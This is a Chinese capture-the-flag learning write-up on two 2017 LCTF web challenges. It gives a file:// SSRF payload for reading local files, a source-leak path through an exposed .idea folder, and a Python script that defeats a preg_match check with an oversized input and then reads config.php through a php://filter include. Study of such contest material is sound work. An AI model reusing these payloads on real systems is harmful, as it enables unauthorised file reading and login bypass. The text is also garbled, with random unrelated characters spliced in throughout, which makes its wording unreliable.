2017 LCTF 學(xué)習(xí)體會(huì)
1. web簽到題:
用file協(xié)議可以讀取本地文件
要繞過邏輯中對(duì)host的檢查还蹲,需要用到curl命令贵少,curl支持file://host/path, file://path 這兩種形式精堕,都會(huì)訪問到本地文件
截?cái)鄒rl后面拼接的/, GET請(qǐng)求,用?#都可以
Payload:
? file://www.baidu.com/etc/flag?
LCTF{1eTus_q14ndao_B4_387t439hg9342}
之前自己做的時(shí)候想到本地代理一般都是設(shè)置為127.0.0.1:8080, 試過之后發(fā)現(xiàn)不行寝志,查詢之后發(fā)現(xiàn)它只是本機(jī)的一個(gè)回送地址爵川,不進(jìn)行網(wǎng)絡(luò)傳輸
2. 萌萌噠的報(bào)名系統(tǒng):
這題提示給了IDE,從大佬的wp中知道PHP有款強(qiáng)大的IDE叫做PHPSTORM白修,它新建項(xiàng)目時(shí)會(huì)產(chǎn)生一個(gè).idea文件夾妒峦,payload: http://123.206.120.239/.idea/ 訪問文件夾
發(fā)現(xiàn)有一個(gè)xdcms2333.zip, payload: http://123.206.120.239/xdcms2333.zip? 下載這個(gè)壓縮包荆秦,打開得到整站源碼:
查看了login.php和member.php 沒有發(fā)現(xiàn)什么有用的東西沸停,看register.php 時(shí), 有以下兩處關(guān)鍵代碼:
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
如果匹配了$matches[0]=$admin,就可以把xdsec注冊(cè)到identities表中去,這樣我們就可以繞過member.php中的:
$sth->execute([':username' => $_SESSION['username']]);
? ? if ($sth->fetch()[0] === 'GUEST') {
? ? ? ? $_SESSION['is_guest'] = true;
}
? 但是str_shuffle是不可預(yù)測的碟案。所以要另找方法,很多人用的非預(yù)期解—條件競爭笛丙,如果在identities表中沒有username這一行數(shù)據(jù)漾脂,那么取出來$sth->fetch[0]的結(jié)果就為null,可繞過第一層胚鸯,所以可以用Python多線程注冊(cè)用戶骨稿,(沒試過)。
其實(shí)正解是通過pre_match函數(shù)的資源消耗來繞過姜钳,喂給pre_match一個(gè)很長的字符串坦冠,會(huì)導(dǎo)致pre_match消耗大量資源從而導(dǎo)致后面的php不會(huì)執(zhí)行。
腳本如下:
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import threading
import re
import os
__author__ = "hahahha"
s = requests.session()
url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'}
def register():
? ? data = {
? ? ? ? 'username':'Asdfgh',
? ? ? ? 'password':'123456',
? ? ? ? 'code':'xdsec###'+'A'*1000000
? ? ? ? }
? ? try:
? ? ? ? res1=s.post(url1,headers=headers,data=data,timeout=10)
? ? ? ? print (res1.text)
? ? except:
? ? ? ? pass
def login():
? ? data = {
? ? ? ? 'username':'Asdfgh',
? ? ? ? 'password':'123456'
? ? ? ? }
? ? res2=s.post(url2,headers=headers,data=data)
? ? print (res2.text)
def member():
? ? res3 = s.get(url3,headers=headers)
? ? print (res3.text)
if __name__=='__main__':
? ? register()
? ? login()
? ? member()
腳本是看別人的哥桥,在這里也總結(jié)一下辙浑,一般的應(yīng)該怎么寫:
Requests是Python的第三方庫,需要自己下載安裝才能使用拟糕,這次用到的是web提交的基本使用判呕,requsets.session()是一個(gè)會(huì)話,requests.session().post(url,headers,data,timeout), 其中headers只把User-Agent 添加進(jìn)去就行了送滞,不過要添加完整佛玄,我做的時(shí)候就復(fù)制少了,所以一直出不來累澡,print(res.txet)打印的內(nèi)容要規(guī)范一點(diǎn),最好別用(res.content)般贼。
經(jīng)過這道題愧哟,我覺得我要學(xué)的東西還很多,PHP代碼審計(jì)哼蛆,正則表達(dá)式是很重要的蕊梧,等Python的老師講有點(diǎn)等不及了,先自己看看吧腮介,再實(shí)踐實(shí)踐肥矢,Python也用得不是很熟。加油吧叠洗,少年甘改!
注:自己實(shí)在是太菜,復(fù)現(xiàn)都只能做出兩道題來灭抑,唉唉唉十艾!最近剛半期考完,數(shù)電成績很不理想腾节,英語六級(jí)也快要考了忘嫉,花在這方面的時(shí)間可能會(huì)要少一點(diǎn)荤牍。